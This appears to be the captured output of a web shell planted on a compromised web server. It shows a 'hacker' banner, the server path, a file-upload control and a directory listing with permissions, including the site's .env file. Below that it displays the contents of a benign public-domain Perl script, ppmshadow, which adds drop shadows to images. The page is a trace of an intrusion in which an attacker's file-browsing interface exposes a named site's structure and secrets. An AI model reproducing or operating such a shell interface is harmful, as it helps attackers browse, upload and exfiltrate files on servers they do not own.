I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
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| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
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| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
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| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
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| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
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| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
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| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
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| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
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| app | - | March 05 2024 07:12:34 | 0777 |
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| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
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| bootstrap | - | March 05 2024 07:12:34 | 0777 |
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| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
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| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
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| config | - | July 03 2025 02:53:36 | 0777 |
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| database | - | March 05 2024 07:12:34 | 0777 |
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| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
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| lang | - | May 13 2024 14:53:26 | 0777 |
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| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
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| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
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| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
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| public | - | July 03 2025 02:37:20 | 0777 |
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| resources | - | May 13 2024 12:09:36 | 0777 |
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| routes | - | March 05 2024 07:12:34 | 0777 |
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| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
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| storage | - | March 05 2024 10:03:52 | 0777 |
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| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
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| tests | - | March 05 2024 07:12:34 | 0777 |
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| vendor | - | March 19 2024 12:13:14 | 0777 |
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| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
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#!/usr/bin/perl
# Change the path name in the line above to wherever Perl lives
# on your system. This script was tested with Perl 4.0, patch
# level 36.
# P P M S H A D O W
# by John Walker -- http://www.fourmilab.ch/
$version = 1.2;
# --> with minor changes by Bryan Henderson. See above web site for
# the real John Walker work, named pnmshadow.
# Pnmshadow is a brutal sledgehammer implemented in Perl which
# adds attractive shadows to images, as often seen in titles
# of World-Wide Web pages. This program does not actually
# *do* any image processing--it simply invokes components of
# Jef Poskanzer's PBMplus package (which must be present on
# the path when this script is run) to bludgeon the source
# image into a plausible result.
#
# This program is in the public domain.
#
#
# Process command line options
$convolve = 11; # Default blur convolution kernel size
$purge = 1; # Set to 0 to preserve intermediate files
$translucent = 0; # Default not translucent
while (@ARGV) {
$arg = shift;
if ((substr($arg, 0, 1) eq '-') && (length($arg) > 1)) {
$opt = substr($arg, 1, 1);
$opt =~ tr/A-Z/a-z/;
if ($opt eq 'b') { # -B n -- Blur size
if (!defined($convolve = shift)) {
die("Argument missing after -b option\n");
}
if (($convolve < 11) && (($convolve & 1) == 0)) {
$convolve++; # Round up even kernel specification
}
} elsif ($opt eq 'k') { # -K -- Keep temporary files
$purge = 0;
} elsif ($opt eq 't') { # -T -- Translucent image
$translucent = 1;
} elsif ($opt eq 'u' || $opt eq '?') {
print(STDERR "ppmshadow -- Add simulated shadow to anymap.\n");
if (defined $version) {
print(STDERR " Version $version.\n");
}
print(STDERR "Usage: ppmshadow [options] [pnmfile] \n");
print(STDERR "Options:\n");
print(STDERR " -B n Set blur size to n pixels\n");
print(STDERR " -K Keep intermediate temporary files from run\n");
print(STDERR " -T Cast shadows of translucent objects\n");
print(STDERR " -U Print this message\n");
print(STDERR " -X n Shift shadow n pixels to the right\n");
print(STDERR " -Y n Shift shadow n pixels down\n");
exit(0);
} elsif ($opt eq 'x') { # -X n -- X offset
if (!defined($xoffset = shift)) {
die("Argument missing after -x option\n");
}
if ($xoffset < 0) {
$xoffset = -$xoffset;
}
} elsif ($opt eq 'y') { # -Y n -- Y offset
if (!defined($yoffset = shift)) {
die("Argument missing after -x option\n");
}
if ($yoffset < 0) {
$yoffset = -$xoffset;
}
}
} else {
if (defined $ifile) {
die("Duplicate input file specification.");
}
$ifile = $arg; # Input file name
}
}
# Apply defaults for arguments not specified
if (!(defined $xoffset)) {
# Xoffset defaults to half the blur distance
$xoffset = int($convolve / 2);
}
if (!(defined $yoffset)) {
# Yoffset defaults to Xoffset, however specified
$yoffset = $xoffset;
}
use File::Temp "tempdir";
my $fname = tempdir("PPMshadow.XXXXXXX", CLEANUP => $purge)
|| die "Cant create tmpdir"; #219019
$stdin = 0;
if ((!(defined $ifile)) || ($ifile eq '-')) {
# Input default to standard input
$stdin = 1;
$ifile = "$fname/0.ppm";
system("cat >$fname/0.ppm");
}
# Determine the size of the source image
$a = `pnmfile $ifile`;
$a =~ m/.*\sP[BGP]M\s.*,\s*(\d*)\sby\s(\d*)/;
$xsize = $1;
$ysize = $2;
# Create a blank background bitmap the size of the source bitmap
system("pnmcut 0 0 1 1 $ifile | pnmscale -xsize $xsize -ysize $ysize >$fname/5.ppm");
# Create positive mask file from input image
system("pnmarith -difference $ifile $fname/5.ppm | pnminvert | ppmtopgm | pgmtopbm -thresh -value 1.0 >$fname/1.ppm");
# Create convolution kernel file to generate shadow
open(OF, ">$fname/2.ppm");
$ckern = $convolve <= 11 ? $convolve : 11;
printf(OF "P2\n$ckern $ckern\n%d\n", $ckern * $ckern * 2);
$a = ($ckern * $ckern) + 1;
for ($i = 0; $i < $ckern; $i++) {
for ($j = 0; $j < $ckern; $j++) {
printf(OF "%d%s", $a, ($j < ($ckern - 1)) ? " " : "\n");
}
}
close(OF);
if ($translucent) {
# Convolve the input colour image with the kernel
# to create a translucent shadow image.
system("pnmconvol $fname/2.ppm $ifile >$fname/10.ppm");
while ($ckern < $convolve) {
system("pnmsmooth $fname/10.ppm >$fname/10a.ppm");
system("mv $fname/10a.ppm $fname/10.ppm");
$ckern++;
}
} else {
# Convolve the positive mask with the kernel to create shadow
system("pnmconvol $fname/2.ppm $fname/1.ppm >$fname/3.ppm");
while ($ckern < $convolve) {
system("pnmsmooth $fname/3.ppm >$fname/3a.ppm");
system("mv $fname/3a.ppm $fname/3.ppm");
$ckern++;
}
# Multiply the shadow by the background colour
system("pnmarith -multiply $fname/3.ppm $fname/5.ppm >$fname/10.ppm");
}
# Cut an offset rectangle from the shadow image
$i = $xsize - $xoffset;
$j = $ysize - $yoffset;
system("pnmcut 0 0 $i $j $fname/10.ppm >$fname/4.ppm");
# Create offset shadow image
system("pnmpaste -replace $fname/4.ppm $xoffset $yoffset $fname/5.ppm >$fname/6.ppm");
# Create inverse mask
system("pnminvert $fname/1.ppm >$fname/7.ppm");
# Multiply original image by inverse mask
system("pnmarith -multiply $ifile $fname/7.ppm >$fname/8.ppm");
# Multiply shadow by mask
system("pnmarith -multiply $fname/6.ppm $fname/1.ppm >$fname/9.ppm");
# Add masked image and shadow to obtain result, which this
# last call on pnmarith sends to standard output.
system("pnmarith -add $fname/8.ppm $fname/9.ppm");
# temporary files are automatically removed by tempdir